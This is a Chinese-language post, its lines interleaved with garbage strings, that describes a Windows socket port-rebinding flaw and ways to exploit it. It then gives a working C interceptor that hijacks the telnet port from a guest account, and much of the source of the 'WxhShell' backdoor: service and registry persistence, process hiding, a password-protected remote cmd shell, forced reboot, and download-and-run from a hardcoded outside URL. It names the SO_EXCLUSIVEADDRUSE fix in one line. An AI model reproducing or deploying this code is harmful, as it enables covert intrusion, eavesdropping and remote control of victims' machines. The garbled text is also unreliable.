在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C8 xZ;V] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H1QJk_RL ?&63#B,iZ saddr.sin_family = AF_INET;
/tf5Bv'< !O:y@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hog=ut 8o'_`{ba bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:+z4~%
jA l0PZ`m+;j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;h*K }U C1m]*}U 这意味着什么?意味着可以进行如下的攻击:
I+[>I=ewa Kgi<UkFP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
X[&Wkr8x ' ymx>i~>7J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
pgE}NlW v*SEb~[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LSGBq Py@wJEo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OZ
|IA:,} a1t4Dd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P3)Nl^/ X\@C.H2ttY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
CohDO 1DE<rKI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_m
gHJ 0v' {B?Wu3- #include
!'&n-Q #include
@` 1Ds #include
*E/`KUG] #include
|
r&k48@ DWORD WINAPI ClientThread(LPVOID lpParam);
T`\x,`
^ int main()
@|63K)Xy {
BGD8w2 WORD wVersionRequested;
R`DKu= DWORD ret;
Nn~~!q WSADATA wsaData;
u'|4?"uz BOOL val;
||hb~%JK6 SOCKADDR_IN saddr;
PT=2@kH SOCKADDR_IN scaddr;
\{Z;:,S int err;
pb
~uE SOCKET s;
]*
F\"C@ SOCKET sc;
?'@8kpb int caddsize;
5q;GIw^L HANDLE mt;
T92UeG DWORD tid;
X(]WVCu wVersionRequested = MAKEWORD( 2, 2 );
_wkVwPr err = WSAStartup( wVersionRequested, &wsaData );
kb{]>3Y" if ( err != 0 ) {
%l}D. ml printf("error!WSAStartup failed!\n");
sk,ox~0R return -1;
mpI5J'>] }
g`vny )\7/ saddr.sin_family = AF_INET;
aT)BR?OYSJ *W0y: 3dB3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kI
4MiK Bm.:^:&k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bx{$Y_L+p saddr.sin_port = htons(23);
w)kNkD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dZ rAn {
tD(7^GuR printf("error!socket failed!\n");
+cgSC5nR return -1;
OjJXysslXO }
544X1Ww2 val = TRUE;
]>LhkA@V //SO_REUSEADDR选项就是可以实现端口重绑定的
Z&1T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ysxb?6 {
8\^}~s$$A printf("error!setsockopt failed!\n");
V5sg#|& return -1;
FT#8L }
u37'~&o{U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4C<jdv_J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JJ}0gZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8/i!' 0r\ kP#B5K_U| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h]+C.Eqnt# {
P7nc7a ret=GetLastError();
M dZ&A}S printf("error!bind failed!\n");
3D!5T8 @ return -1;
@kpv{`Y }
2XFU1 AW listen(s,2);
!sDh4jQ` while(1)
^?0DP>XA {
%{AO+u2i caddsize = sizeof(scaddr);
01r 8$+ //接受连接请求
8$85^Of sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
A+SE91m if(sc!=INVALID_SOCKET)
Sp@^XmX(S {
[ oL.+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h U`wVy if(mt==NULL)
Gn|F`F {
M m[4yP% printf("Thread Creat Failed!\n");
8oUpQcim break;
.y_/U wu }
+Z7th7W/, }
pk?w\A} CloseHandle(mt);
q qpgy7 }
PD&\LbuG closesocket(s);
5R'TcWf#W WSACleanup();
(qqOjz return 0;
vwjPmOjhS }
rai3<_W< DWORD WINAPI ClientThread(LPVOID lpParam)
ROg(U8
N {
0fb`08,^ SOCKET ss = (SOCKET)lpParam;
u.d).da SOCKET sc;
C8[&S&<_< unsigned char buf[4096];
&Q;sSIc SOCKADDR_IN saddr;
Ss~;m']68 long num;
:=/85\P0SU DWORD val;
i@P)a'W_ DWORD ret;
<,Ue
0 //如果是隐藏端口应用的话,可以在此处加一些判断
?ooe'V@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wfU7G[ saddr.sin_family = AF_INET;
l>Z5 uSG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aGJC1x saddr.sin_port = htons(23);
As 3.Q(#Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LQ(yScA@ {
1<BX]-/tP printf("error!socket failed!\n");
&<wuJ%'>)Z return -1;
QW$G }
;3d"wW]}7K val = 100;
jGXO\:sO if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ofPHmh` {
UUzYbuS>&l ret = GetLastError();
=NnNN'} return -1;
m@"QDMHk. }
#JgH}|&a$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W%T>SpFl {
OK{quM5 ret = GetLastError();
!n*
+(lZ return -1;
9Wnn'T@Tl }
+?u~APjNN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q#vQv5 {
RA KFU printf("error!socket connect failed!\n");
d]:I(9K closesocket(sc);
Xe<sJ.&Wf closesocket(ss);
]$Yvj!K*Q return -1;
Fs{x(_LOr }
q;<h[b? while(1)
_CW(PsfY {
:uWw8` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v}1QH //如果是嗅探内容的话,可以再此处进行内容分析和记录
]8Q4BW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
k 8UO9r[ num = recv(ss,buf,4096,0);
r<K(jG[:{f if(num>0)
GliwY_ send(sc,buf,num,0);
Pa{%\dsv else if(num==0)
RRRCS]y7$t break;
4*Q#0`um num = recv(sc,buf,4096,0);
^.1c{0Y^0 if(num>0)
0Uo\wyd send(ss,buf,num,0);
J4Nln else if(num==0)
AWP"b?^G| break;
]|MEx{BG- }
.Xce9C0SW closesocket(ss);
k\WR ] closesocket(sc);
1#.>a$> return 0 ;
G'6@+$ppS }
Qp/QaVQ+ Tav*+ 2^^`n1?' ==========================================================
9?0^ap,T =at@ Vp/y 下边附上一个代码,,WXhSHELL
vg3=8># P"W2(d ==========================================================
&Q>k7L! !P)O(i= #include "stdafx.h"
[-\%4 ^:#D0[ #include <stdio.h>
D@Vt^_ #include <string.h>
>sK!F$ #include <windows.h>
;?8_G%va #include <winsock2.h>
tS|(K=$
#include <winsvc.h>
xYmxc9)2 #include <urlmon.h>
,=Mt`aN
|QU <e #pragma comment (lib, "Ws2_32.lib")
oW<5|FaN #pragma comment (lib, "urlmon.lib")
9\/xOwR \~fONBY #define MAX_USER 100 // 最大客户端连接数
{5F-5YL+> #define BUF_SOCK 200 // sock buffer
+n#V[~~8AI #define KEY_BUFF 255 // 输入 buffer
$e*ce94 $Hj.{;eC/k #define REBOOT 0 // 重启
}HY-uQ%@g #define SHUTDOWN 1 // 关机
T;,cN7>>O Cq'KoN%nQ #define DEF_PORT 5000 // 监听端口
SzjkI+-$: p4'G$]# #define REG_LEN 16 // 注册表键长度
gREzZ+([ #define SVC_LEN 80 // NT服务名长度
my}-s :P<]+\m // 从dll定义API
<4P4u*/o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
B5X(ykaX~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
qNYN-f~@, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4"(<X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S"xKL{5 3wC' r // wxhshell配置信息
:.$3vaZ@ struct WSCFG {
}[4r4 1[ int ws_port; // 监听端口
QKr,g char ws_passstr[REG_LEN]; // 口令
^~3SSLS4" int ws_autoins; // 安装标记, 1=yes 0=no
I~ok4L?VB char ws_regname[REG_LEN]; // 注册表键名
~},=OF-b char ws_svcname[REG_LEN]; // 服务名
k~jP'aD char ws_svcdisp[SVC_LEN]; // 服务显示名
.
koYHq char ws_svcdesc[SVC_LEN]; // 服务描述信息
4scNSeW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
i[?Vin int ws_downexe; // 下载执行标记, 1=yes 0=no
>AcrG] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^-,xE>3o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V+VkY3 4<k9?)~(J };
Pmh8sw wS%Q<uK // default Wxhshell configuration
e A#;AQm struct WSCFG wscfg={DEF_PORT,
;4.!H,d "xuhuanlingzhe",
4A_[PM 1,
A1.7O "Wxhshell",
#6+@M "Wxhshell",
b/C`Jp "WxhShell Service",
~c %hWt "Wrsky Windows CmdShell Service",
kic/*v\6@ "Please Input Your Password: ",
YgUvOyaQXf 1,
4`!Z$kt "
http://www.wrsky.com/wxhshell.exe",
~v6OsH%vx "Wxhshell.exe"
=Ur}~w&H8 };
aB7+Tb |Z=^`J // 消息定义模块
qI~xlW
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Tl2C^j char *msg_ws_prompt="\n\r? for help\n\r#>";
@wE5S6! B\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*a #rM"6P char *msg_ws_ext="\n\rExit.";
4cl\^yD char *msg_ws_end="\n\rQuit.";
vTlwRG=5 char *msg_ws_boot="\n\rReboot...";
!V
i@1E char *msg_ws_poff="\n\rShutdown...";
f!!V${)X char *msg_ws_down="\n\rSave to ";
X@K-^8 P!+'1KR char *msg_ws_err="\n\rErr!";
_nbBIaHN{ char *msg_ws_ok="\n\rOK!";
`C$:Yf]%nG f;1K5Y char ExeFile[MAX_PATH];
@I_8T$N= int nUser = 0;
r[lF<2&*R HANDLE handles[MAX_USER];
E|6VX4`+ int OsIsNt;
aVK3?y2 *Df,Ijh $ SERVICE_STATUS serviceStatus;
\E%'Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
r=X}%~_8X qoj$]
// 函数声明
S"OR% int Install(void);
Aq0S-HKF int Uninstall(void);
>rJnayLF int DownloadFile(char *sURL, SOCKET wsh);
li0i" int Boot(int flag);
]>~)<
void HideProc(void);
eS<lwA_ int GetOsVer(void);
@8;W \L$~1 int Wxhshell(SOCKET wsl);
/J:bWr void TalkWithClient(void *cs);
9Hc$G{[a int CmdShell(SOCKET sock);
$!8-? ?ML int StartFromService(void);
5A
sP5 int StartWxhshell(LPSTR lpCmdLine);
,!7 H]4Qx 1e&QSzL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h $L/<3oP6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
;uwRyd #m{UrTC // 数据结构和表定义
?i06f,- SERVICE_TABLE_ENTRY DispatchTable[] =
`eIenA {
rmE" rf {wscfg.ws_svcname, NTServiceMain},
W!6qqi{ {NULL, NULL}
11<KpxKpk };
Bh=u|8yxc -lhLA`6_R // 自我安装
nIU 6h int Install(void)
kX>f^U{j {
Y0_),OaY char svExeFile[MAX_PATH];
Z(Bp 0a HKEY key;
~[\_N\rm strcpy(svExeFile,ExeFile);
jC7&s$>Q"g IFDZfx // 如果是win9x系统,修改注册表设为自启动
AO=h
23ZI if(!OsIsNt) {
*T~Ve;3h; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}MHCd)78b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mw='dFt RegCloseKey(key);
\>7^f
3m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O }(VlR2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^V#@QPK9 RegCloseKey(key);
6bBB/yd return 0;
t=-SH^$SR }
|=$-Wu }
+eX@U;J,g }
qeL5D* else {
V\^EfQ .R9IL-3fO // 如果是NT以上系统,安装为系统服务
|m80]@> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,B0_MDA + if (schSCManager!=0)
@O[}QB?/fi {
iv>SsW'p_ SC_HANDLE schService = CreateService
7LU}Iiv (
\'CDRr"uw schSCManager,
2EfF=Fm> wscfg.ws_svcname,
S6AU[ASY. wscfg.ws_svcdisp,
XwlbJ=mf SERVICE_ALL_ACCESS,
aEWWFN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4( 1(e SERVICE_AUTO_START,
w\DVzeW( SERVICE_ERROR_NORMAL,
SL;9Q[ svExeFile,
~d6DD;`K NULL,
yb/%?DNQT NULL,
3Ei5pX =g NULL,
'ul~7h;n NULL,
U)o$WH.b NULL
I;Bjfv5 );
e{v=MxO=S if (schService!=0)
Fm #w2o {
.F(i/)vaq| CloseServiceHandle(schService);
^1L>l9F CloseServiceHandle(schSCManager);
])Qs {hs~s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
TH$N5w% strcat(svExeFile,wscfg.ws_svcname);
E[bd@[N
8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
! ykx^z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
XLH+C ]pfr RegCloseKey(key);
vsr[ur[eP return 0;
cg*)0U-_( }
m/qbRk68s }
/Ne<V2AX CloseServiceHandle(schSCManager);
W@Lu;g.Yc }
[fKUyIY_ }
!V,{_(LT `zE}1M%y return 1;
%LZ({\5K#f }
a'jR#MQl? ?zsB6B?; // 自我卸载
8krpowVs~ int Uninstall(void)
HH@qz2 w {
^>N]H>0'S HKEY key;
h?FmBK'BAd L[20m(6? if(!OsIsNt) {
qq1 - DG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mBG=jI "xh RegDeleteValue(key,wscfg.ws_regname);
BYo/57&: RegCloseKey(key);
mUz\ra;z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6^c>,.R RegDeleteValue(key,wscfg.ws_regname);
^+m+zd_ RegCloseKey(key);
!Wy[).ZAf return 0;
O=dJi9;`#_ }
}LijnHH. }
LI6hEcM= }
IW%|G else {
S.d^T]( ?w+Ix~k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z t&6Ua[Y} if (schSCManager!=0)
@bnG:np {
K&U7H: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
z ly unJD( if (schService!=0)
\a=D {
}oKG}wgY if(DeleteService(schService)!=0) {
3t0[^cY8=z CloseServiceHandle(schService);
en:4H CloseServiceHandle(schSCManager);
zBP>jM(8 return 0;
"luR9l,RRE }
"/nNM{^ CloseServiceHandle(schService);
!E-Pa5s }
3^Q]j^e4Ny CloseServiceHandle(schSCManager);
^+1#[E }
V86Xg:?7 }
ocyb5j His*t1o8'O return 1;
'D%w|Pe?Q }
M!tXN&V] A?oXqb // 从指定url下载文件
!Y:0c#MPH int DownloadFile(char *sURL, SOCKET wsh)
??i4z[0M {
Izv+i*(dl HRESULT hr;
0^8)jpL$<9 char seps[]= "/";
W(Uu@^ char *token;
4#'("#R char *file;
|K^"3`SJ char myURL[MAX_PATH];
H-xFiF char myFILE[MAX_PATH];
[F[K^xYTlg Cb_oS4vM strcpy(myURL,sURL);
\ AC|?/sH token=strtok(myURL,seps);
DtEwW1J while(token!=NULL)
ad_`x {
ee/&/Gt file=token;
W},b{NT token=strtok(NULL,seps);
ejO}t:}P }
zP;cTF(C 3J=Y9 } GetCurrentDirectory(MAX_PATH,myFILE);
Bs MuQ|! strcat(myFILE, "\\");
NcAp_q?
4 strcat(myFILE, file);
k3t78Qg send(wsh,myFILE,strlen(myFILE),0);
D>!6,m2 send(wsh,"...",3,0);
N7s'6(`=X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
x+@&(NMP5 if(hr==S_OK)
`+/H^ return 0;
wO>L#"X^v else
:SsUdIX;P return 1;
(?*BB3b` p<v.Q }
"z*:'8;E ?~QIALA // 系统电源模块
U5]pi+r int Boot(int flag)
t
nS+5F {
_7D _72 HANDLE hToken;
jkF8\dR TOKEN_PRIVILEGES tkp;
:EtMH( '>v^6iS if(OsIsNt) {
=U.
b% uC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(LtkA|: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
bhs(Qzx tkp.PrivilegeCount = 1;
gs
W0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
YUdxG/~' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NA.1QQ;e if(flag==REBOOT) {
6UE(f@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
CZEW-PIhj return 0;
ItX5JV) }
(#oycj^< else {
;_:Oo l, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a0*2) uL} return 0;
8:.nEo' }
e2C<PGUUB }
Ft@Wyo`^ else {
!%Y~~'5 h if(flag==REBOOT) {
dxj*Q "K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j4R 4H; return 0;
L}j0a> =x4 }
M/*NM= -a else {
^<0IB#dA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
b%t+,0s| return 0;
u7;~ }
ba3-t;S
}
Lz\UZeq L;QY<b return 1;
D0;tcm.$ }
jvVi%k M"_FrIO // win9x进程隐藏模块
jFerYv&K~ void HideProc(void)
PVao {
<TNk?df7 ^\:2}4Uj_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jvzBh-! if ( hKernel != NULL )
* \HRw +cL {
o;[bJ
Z\^x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[k]|Qink ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
nVD Xj FreeLibrary(hKernel);
Yn9j-` }
A.Bk/N1G }xFi&
< return;
-iCcoA }
&D#+6M&LK{ +[m8c){ // 获取操作系统版本
<1&Ke int GetOsVer(void)
<3hA!$o~ {
K<v:-TjQZ: OSVERSIONINFO winfo;
,PWj_}|L[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2*U.^]~"{ GetVersionEx(&winfo);
yZJ*dadAr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
mh;X~.98 return 1;
Icp0A\L@ else
8G ]w,eF return 0;
[$ : }
e@F|NCQ.9 ;5<-) // 客户端句柄模块
2:$ k int Wxhshell(SOCKET wsl)
!5x
Ly6=} {
S)%_we LW7 SOCKET wsh;
,f:
jioY struct sockaddr_in client;
:k46S<RE DWORD myID;
' eO/PnYW CsS p=( while(nUser<MAX_USER)
sa1mC {
v@G4G*x\ int nSize=sizeof(client);
|
W#~F&{] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
OYf{?-QD if(wsh==INVALID_SOCKET) return 1;
~_ !ts{[E Xz;b,C&*t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.F0]6#( if(handles[nUser]==0)
@XOi62( closesocket(wsh);
w 7tC|^#G else
|Vx~fK S\ nUser++;
R V!o4"\] }
Z{{t^+XG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dmR3Y.\jd ]
mj
v;C return 0;
SZVV40w }
"E*8h/4u OoP@-D"e // 关闭 socket
{U
<tc4^ void CloseIt(SOCKET wsh)
M@?"t_e1 {
Q:S\0cI0 closesocket(wsh);
=8{*@>CX nUser--;
N"DY?6 ExitThread(0);
a]1i/3/ }
!=[uT+v 7tH]*T9e> // 客户端请求句柄
CKTrZxR" void TalkWithClient(void *cs)
qmmv7== {
BV9 *s
qtSs)n SOCKET wsh=(SOCKET)cs;
xaXV^ZM3 char pwd[SVC_LEN];
MWq$AK] char cmd[KEY_BUFF];
0->/`/xm char chr[1];
D6!t VdnVe int i,j;
_1JmjIH)M PI7IBI while (nUser < MAX_USER) {
)
YSh D U($^E}I2( if(wscfg.ws_passstr) {
L? ;/cO^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$P?{O3:V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o_yRn16 //ZeroMemory(pwd,KEY_BUFF);
]+IVSxa!u i=0;
"2h5m4 while(i<SVC_LEN) {
#t5juX9Ho9 b*9e1/] // 设置超时
3t fd_set FdRead;
<`JG>H*B6 struct timeval TimeOut;
hU,$|_WDy FD_ZERO(&FdRead);
4]UT+'RubX FD_SET(wsh,&FdRead);
jA2ofC TimeOut.tv_sec=8;
v7@H\x* TimeOut.tv_usec=0;
e?)yb^7K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nhfwOS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
w67xl $T*KaX\{B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P,1exgq9 pwd
=chr[0]; o5#,\Y[ g
if(chr[0]==0xd || chr[0]==0xa) { 9kd.j@C
pwd=0; < EXWWrm
break; ",ad7Y7i
} *?Wtj
i++; }'jV/
} Kcn\g.
EW5]!%
// 如果是非法用户,关闭 socket v,\93mNp[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SY6r 8RK
} J%4HNW*p
70<K.T<b
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /s-d?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); luF#OP C
$f(agG]
while(1) { G4yUC<TqBP
5TET<f6R
ZeroMemory(cmd,KEY_BUFF); &V;x 4
sUda
// 自动支持客户端 telnet标准 B_@7IbB
j=0; 6ZHv,e`?
while(j<KEY_BUFF) { |Y4q+sDW
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dKe@JQ+-z
cmd[j]=chr[0]; K|~AA"I;
if(chr[0]==0xa || chr[0]==0xd) { u.&|CF-
cmd[j]=0; NlFo$Y
break; a&:>Ped"
} rHo6iJj
j++; 9<qx!-s2rr
} ZX]A )5G
-$tCF >,
// 下载文件 tnRJ#[Io
if(strstr(cmd,"http://")) { Ko-QR(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fSC.+,qk
if(DownloadFile(cmd,wsh)) (6[Wr}SW5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\q[gyR
else jQIV2TY[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`sR){R
} {9:hg9;E*
else { L3>4t: 8
(o{)>D
switch(cmd[0]) { F$C+R&V_
/~"AG l.
// 帮助 '7=<#Blc
case '?': { U:Fpj~E_w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c8tP+O9
break; j5A\y^Kv
} "D!Dr1
// 安装 lzI/\%
case 'i': { "
xxXZGUp
if(Install()) k^yy$^=<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tpz=}q
else ^X(_zinN"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [sptU3,2U
break; TQ2i{e
} $WM8tF?H
// 卸载 `bi
k/o=%
case 'r': { 2q$X>ImI$
if(Uninstall()) :!hk~#yvJ9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DMRs}Yz6
else vy:6_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4xA'X'~R
break; ;9Hz{ej
} ^zkd{ov
// 显示 wxhshell 所在路径 `O jvt-5}E
case 'p': { J
b|mXNcL
char svExeFile[MAX_PATH]; X[Y#+z4
strcpy(svExeFile,"\n\r"); `ITDTZ
J
strcat(svExeFile,ExeFile); 34]%d<;A
send(wsh,svExeFile,strlen(svExeFile),0); _]Z$YM
break; 1(D1}fcul
} i|[S5QXCh
// 重启 fV v$K&
case 'b': { 6.vNe
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r6<ArX$Yl
if(Boot(REBOOT)) }"g@E-]N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dfXV1B5
else { 2voNgY
closesocket(wsh); Z^C!RSQ
ExitThread(0); @D2`*C9
} <,#rtVO$
break; 5@""_n&FV
} d?E4[7<t$1
// 关机 EywZIw?mjX
case 'd': { rHR5,N:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EsS!07fAM:
if(Boot(SHUTDOWN)) rjt O`Mt`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}*Ctdrl
else { s')!<E+z\t
closesocket(wsh); \y<+Fac1S
ExitThread(0); pq@$&G
} KF*B
break; ]IL3 $eR
} "P9wT)J_
// 获取shell xU:PhhS
case 's': { ?T~3B]R
CmdShell(wsh); FP0<-9DO
closesocket(wsh); Y'\3ux0]4'
ExitThread(0); o(vZ*^\
break; mq>*W'M
} -_:JQ
// 退出 (d1V1t2r6
case 'x': { 5Xla_@WLW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oM m/!Dc
CloseIt(wsh); ]ZBgE\[
break; `,<>){c|
} !<JG&9ODP
// 离开 6S` ,j
case 'q': { HP1X\h!Ke
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h%4~0
closesocket(wsh); ^2(";.m
WSACleanup(); hnlU,p&y3
exit(1); "Vs
Nyy
break; |J@|
} )3d:S*ly
} _AA`R`p;
} bi,rMgW
c'>8pd
// 提示信息 c1=;W$T(s
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a .B\=3xn
} PLlx~A
} #nt<j2}m
<L[ *hp
return; gqKC 4'G0
} zcbA)
9;'>\ImI
// shell模块句柄 jFK9?cLT
int CmdShell(SOCKET sock) uT@8 _9
{ xQcMQ{&;
STARTUPINFO si; !dYX2!lvT
ZeroMemory(&si,sizeof(si)); p2M?pV
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?3e!A9x
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Mh4X`<e
PROCESS_INFORMATION ProcessInfo; BUboP?#%)
char cmdline[]="cmd"; KG7X8AaK#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !'c6 Hs
return 0; %t(, *;
} k
N
uN4/
qugPs(uQ
// 自身启动模式 -bIpmp?
int StartFromService(void) f^>lObvd
{ ^[SbV^DOL
typedef struct gw*yIZ @3)
{ =!Baz}
DWORD ExitStatus; gGceK^#
